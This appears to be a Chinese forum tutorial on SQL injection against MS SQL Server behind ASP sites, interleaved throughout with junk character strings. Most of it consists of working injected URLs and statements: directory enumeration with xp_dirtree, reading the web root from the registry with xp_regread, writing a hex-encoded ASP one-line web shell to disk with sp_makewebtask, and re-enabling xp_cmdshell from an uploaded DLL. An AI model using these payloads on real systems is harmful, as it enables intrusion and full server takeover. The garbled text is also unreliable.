好,我们exec master..xp_dirtree'd:/test'# E- m0 z. ]" I2 @& P- i
假设我们在test里有两个文件夹test1和test2在test1里又有test3
" ?2 Y7 {1 D9 o+ U0 p0 F结果显示4 P' K, s! ?4 u" ^9 C, M% B
2 w" d! q9 r; e: z2 K
subdirectory depth
* I. P6 m1 q) ^! c& e vtest1 1& N7 }" p( l0 x1 V2 Y, `" _4 s" h
test3 22 c6 ?% L' \# R% S2 B
test2 1
& Y! g0 Z, q$ o! y1 [8 W
# M; r; T# e, m. f0 [! X/ N哈哈发现没有那个depth就是目录的级数' r' p M$ O9 ^# d
ok了,知道怎么办了吧 r4 B$ Q1 a# U/ b0 J" _8 b2 g: n
" N$ G' P: V: \, S# ]
http://www.xxxxx.com/down/list.asp?id=1;create table dirs(paths varchar(1000),id int)-- 8 w* J5 p5 X# X% d
http://www.xxxxx.com/down/list.asp?id=1;insert dirs exec master.dbo.xp_dirtree 'd:\' -- " ~8 N+ z [0 B+ N
http://www.xxxxx.com/down/list.asp?id=1 and 0<>(select top 1 paths from dirs where id=1)-4 m( ^, R8 j& R# Z
' \' J9 } Y. a1 @
只要加上id=1,就是第一级目录 。
3 Q* h- b' c+ e* U5 |' j8 U" Q1 I) d, j
- i( J& t" P- k; G L通过注册表读网站路径:
5 v; {" o i _ k. G
( B! i& u* A( Q/ Z, x* ^4 {1 F1.;create table [dbo].[cyfd] ([gyfd][char](255));: w' ]9 ?- g& S
5 r- |# M6 V# z0 A# O% C/ u2.DECLARE @result varchar(255) EXEC master.dbo.xp_regread 'HKEY_LOCAL_MACHINE', 'SYSTEM\ControlSet001\Services\W3SVC\Parameters\Virtual Roots', '/', @result output insert into 临时表 (临时字段名) values(@result);--+ _; F! T n4 t" g2 O
id=2;DECLARE @result varchar(255) EXEC master.dbo.xp_regread 'HKEY_LOCAL_MACHINE','SYSTEM\ControlSet001\Services\W3SVC\Parameters\Virtual Roots', '/', @result output insert into cyfd (gyfd) values(@result);--% n9 P* m5 ?+ ^( W& S" i
7 [9 b F: } {" z0 }9 t* [' A3.and 1=(select count(*) from 临时表 where 临时字段名>1)4 ]% j% ?0 t! \4 a$ h/ J1 f
and 1=(select count(*) from cyfd where gyfd > 1) 2 H7 {; `) F/ Y. @$ w1 }
这样IE报错,就把刚才插进去的Web路径的值报出来了" G! d# i, @- v! N3 _3 g) O
0 t. `3 V8 U0 u3 g
4.drop table cyfd;-- 删除临时表
0 z, L9 h! H: ` m! E% }' ?
2 v! M* |0 y9 W, \* y5 Z获得webshell方法:
1 N6 D* w9 v h0 a' R- U3 v1.create table cmd (a image)-- \**cmd是创建的临时表) ~& G: G0 T, l+ p2 p5 b
0 h8 s9 Y0 Z" a* p$ R( ~' I2 x5 O) h" J
2.insert into cmd (a) values (0x3C25657865637574652872657175657374282261222929253EDA)-- 往cmd表里插入一句话9 }/ G9 ~0 U3 |* P! b+ E
& h$ G3 g! ]5 J$ t+ e5 X o0 g2 c
1 F- n1 @$ @% J( M3.EXECUTE sp_makewebtask @outputfile = 'WEB绝对路径\导出的文件名.asp',@query = 'SELECT image FROM cmd'
' Z3 b" ]3 h2 T5 C( L6 {8 F+ ~EXECUTE sp_makewebtask @outputfile = 'WEB绝对路径\导出的文件名.asp',@query = 'SELECT 你的字段 FROM 你建的临时表'7 P" P3 W a& D. U8 m
6 |1 R" s- T" U. V/ b8 q- [
4.drop table cmd;-- 删除cmd临时表- r$ Q% M' n# l' }
, C. p! ]4 Z5 `恢复xp_cmdshell方法之一:. k' |4 c( r0 [. P& Y* q) t9 D; D# z
我很快就把xplog70.dll文件给他上传到e:\inetpub\wwwroot目录下了,来吧,我们来给他恢复,提交:
! o$ f& l; @; ~6 ~- j1 ^http://www.something.com/script.asp?id=2;EXEC master.dbo.sp_addextendedproc 'xp_cmdshell','e:\inetpub\wwwroot\xplog70.dll'% `. k6 t; Z- l8 K, e: H1 G. j
恢复,支持绝对路径的恢复哦。:)
' }- I+ w& |& S7 T5 m: h |